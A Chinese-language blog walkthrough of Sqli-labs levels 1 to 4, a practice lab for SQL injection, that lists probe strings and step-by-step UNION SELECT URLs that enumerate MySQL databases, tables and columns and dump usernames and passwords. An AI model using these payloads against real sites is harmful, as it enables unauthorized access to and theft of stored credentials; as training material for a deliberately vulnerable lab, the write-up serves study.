《SQL注入—Sqli-labs-Less1-4 》

《SQL注入—Sqli-labs-Less1-4 》,第1张

作者: susususuao
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。

Less-1:

注意:此文章Less1重点讲解注入思路和流程,所以有大量不必要流程,如果掌握熟练可以从Less2开始学习!!!!!!

一.知识补充及准备
**系统函数**
select  system_user()            //显示系统用户
select  user()                   //显示登陆用户名
select  database()               //使用的数据库
select  version()                //显示MYSQL版本
select  @@datadir                //显示MYSQL安装路径
select  @@version_compile_os     //显示 *** 作系统

**一般常见的代码**
SELECT * FROM 表名;  //查询表的所有内容
LIMIT 0,1   //从第一行(0)开始,显示一行(1)
information_schema               //MySQL自带的数据库,用于存储数据库元数据(关于数据的数据),例如数据库名、表名、列的数据类型、访问权限等
information_schema.schemata      //存放记录数据库类型的表
schema_name                      //存放所有数据库名的列
group_concat()                  //用于将一组中的数据拼起来即行转列,类似与oracle的wmsys.wm_concat()函数


**一般常见的测试语句**
--+可以用#替换,url 提交过程中 Url 编码后的#为%23
or 1=1 --+
'or 1=1 --+
"or 1=1 --+
)or 1=1 --+
')or 1=1 --+
") or 1=1 --+
"))or 1=1 --+

为了能够在注入时方便对sql语句进行判断,在less1文件里的index.php添加下面两句代码。

echo $sql;
echo "

";

演示:

二.收集信息


翻译:获取-基于错误-单引号-字符串

  1. 首先根据首页可以知道Less1是个字符型注入,并告诉你输入ID作为带数值的参数。

  1. 所以在url后面添加/?id=1进行测试,发现交互方式为GET型

  1. 在后面添加常见的测试语句,/?id=1 / ?id=1’ /?id=1" …, 添加到url中,发现 /?id=1’ 报错,说明是字符型注入(且是单引号注入),将报错信息进行翻译:“您的SQL语法有错误;查看与MySQL服务器版本对应的手册,以了解第1行中接近“1”限制0,1的正确语法”,同时我们也可以从显示的sql语句中也能够看出多了一个单引号。

注意:为什么只有单引号会报错,因为在Mysql查询中select * from users where id=‘1’’ limit 0,1 有一个单引号没有闭合而报错,而在select * from users where id=‘1)@(’ limit 0,1 中虽然多了)@(,但mysql查询时会把单引号里面的按第一个整形1进行执行且这两个单引号又闭合了,所以查询时不会报错,这里也翻译了$id不够严谨问题。

  1. 既然多了一个单引号那么怎么把后面的单引号注释掉呢?尝试 'or 1=1 --+或 'and 1=1 --+ 对后面的语句进行注释,注释后语句就成为:SELECT * FROM users WHERE id=‘1’ or 1=1 - - ’ LIMIT 0,1 或 SELECT * FROM users WHERE id=‘1’ and 1=1 - - ’ LIMIT 0,1。这里or和and不在解释可以点击MySQL逻辑运算符进行了解。

三.爆数据库信息
  1. 获取数据库有多少列
order by 是对表里的列进行排序,为1时说明对第一列进行排序,为4时说明对第四列进行排序,这里为4时报错,说明没用第四列,只有三列。
union联合查询用于合并两个或多个 SELECT 语句的结果集。

**判断多少列**
/Less-1/?id=1' order by 1 --+
                   ...........
/Less-1/?id=1' order by 4 --+    //进行判断多少列

**显示对应列**
/Less-1/?id=-1' union select 1,2,3 --+  //id=-1是为了让它报错,id=-1是不存
在的所以name和Password:会显示,不然还显示原来的信息。
                                                                
这里我们发现第23可以有回馈显示,接下来只需要让他在23列上进行显示回馈。

  1. 爆数据库名
/Less-1/?id=-1' union select  1,3,database() --+  //可以发现是security数据库

**查询所有数据库**
/Less-1/?id=-1' union select  1,2,schema_name from information_schema.schemata limit 0,1 --+    //这里limit 0,1 表示显示第一个数据库名显示一行
                   ..............................................
/Less-1/?id=-1' union select  1,2,schema_name from information_schema.schemata limit 9,1 --+    //以此类推显示第九个数据库名显示一行

此方法只能适合少量的数据库,如果有大量的数据库不利于查询,所有可以使用下面这条命令,一次性显示所有。
/Less-1/?id=-1' union select  1, 2,group_concat(schema_name) from information_schema.schemata --+ 

演示:

  1. 爆数据库表
查询数据库为information_schema.tables,且列(table_schema)为security的所有表
/Less-1/?id=-1' union select  1, 2,group_concat(table_name) from information_schema.tables where table_schema='security' --+   


3. 爆数据库字段

**显示出表为users的所有列**
/Less-1/?id=-1' union select  1, 2,group_concat(column_name) from information_schema.columns where table_name='users' --+

/Less-1/?id=-1' union select  1, 2,password from security.users  limit 0,1 --+   //取密码                                      
/Less-1/?id=-1' union select  1, 2,username from security.users  limit 0,1 --+     //取用户名 
                             ........................................
/Less-1/?id=-1' union select  1, 2,password from security.users  limit 5,1 --+      
/Less-1/?id=-1' union select  1, 2,username from security.users  limit 5,1 --+   
**一个一个取有点慢**
/Less-1/?id=-1' union select  1, 2,group_concat(users) from security.users  --+     //所有用户名
/Less-1/?id=-1' union select  1, 2,group_concat(password) from security.users  --+     //所有密码
**不够更直观的显示,所以下面的可更直观显示**
/Less-1/?id=-1' union select  1, 2,group_concat(concat_ws('~',username,password)) from security.users  --+ //让用户名和密码以~形式显示出来。

到这第一关就结束了!!!!!

Less-2:
**经过第一关的流程,第二关与第一关及其相似,所以这里直接爆破**
第二关是数字型不需要加任何东西
/Less-2/?id=1 order by 3 --+      //进行判断多少列
/Less-2/?id=-1 union select 1,2,3 --+    //显示显示位
/Less-2/?id=-1 union select 1,2,database() --+      //查看所在的数据库名
/Less-2/?id=-1 union select 1,2,group_concat(schema_name) from information_schema.schemata --+     //查询有哪些数据库
/Less-2/?id=-1 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+  //查询数据库里有哪些表
/Less-2/?id=-1 union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+      //查询users表里有哪些列
/Less-2/?id=-1 union select  1, 2,group_concat(concat_ws('~',username,password)) from security.users  --+   //~把用户名密码显示出来

Less-3:
**经过第一关的流程,第三关与第一关及其相似,所以这里直接爆破**
第三关是字符型,经过常见的测试语句发现是')
/Less-2/?id=1') order by 3 --+      //进行判断多少列
/Less-2/?id=-1') union select 1,2,3 --+    //显示显示位
/Less-2/?id=-1') union select 1,2,database() --+      //查看所在的数据库名
/Less-2/?id=-1') union select 1,2,group_concat(schema_name) from information_schema.schemata --+     //查询有哪些数据库
/Less-2/?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+  //查询数据库里有哪些表
/Less-2/?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+      //查询users表里有哪些列
/Less-2/?id=-1') union select  1, 2,group_concat(concat_ws('~',username,password)) from security.users  --+   //~把用户名密码显示出来

Less-4:
**经过第一关的流程,第四关与第一关及其相似,所以这里直接爆破**
第四关是字符型,经过常见的测试语句发现是")
/Less-2/?id=1") order by 3 --+      //进行判断多少列
/Less-2/?id=-1") union select 1,2,3 --+    //显示显示位
/Less-2/?id=-1") union select 1,2,database() --+      //查看所在的数据库名
/Less-2/?id=-1") union select 1,2,group_concat(schema_name) from information_schema.schemata --+     //查询有哪些数据库
/Less-2/?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+  //查询数据库里有哪些表
/Less-2/?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+      //查询users表里有哪些列
/Less-2/?id=-1") union select  1, 2,group_concat(concat_ws('~',username,password)) from security.users  --+   //~把用户名密码显示出来

总结:

这四关方法都一样,都是使用闭合符,只是各自的闭合符不通,只要找到各自的闭合符,就能够实现数据库爆破,通过这四个题我们发现用户在输入id时没用按照要求输入整形,所以导致了SQL注入攻击,如果给$id进行限制,使用户输入规定了范围,这样可以一定程度减少了被注入的风险。

欢迎分享,转载请注明来源:内存溢出

原文地址: http://outofmemory.cn/langs/722132.html

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022-04-26
下一篇 2022-04-26

发表评论

登录后才能评论

评论列表(0条)

保存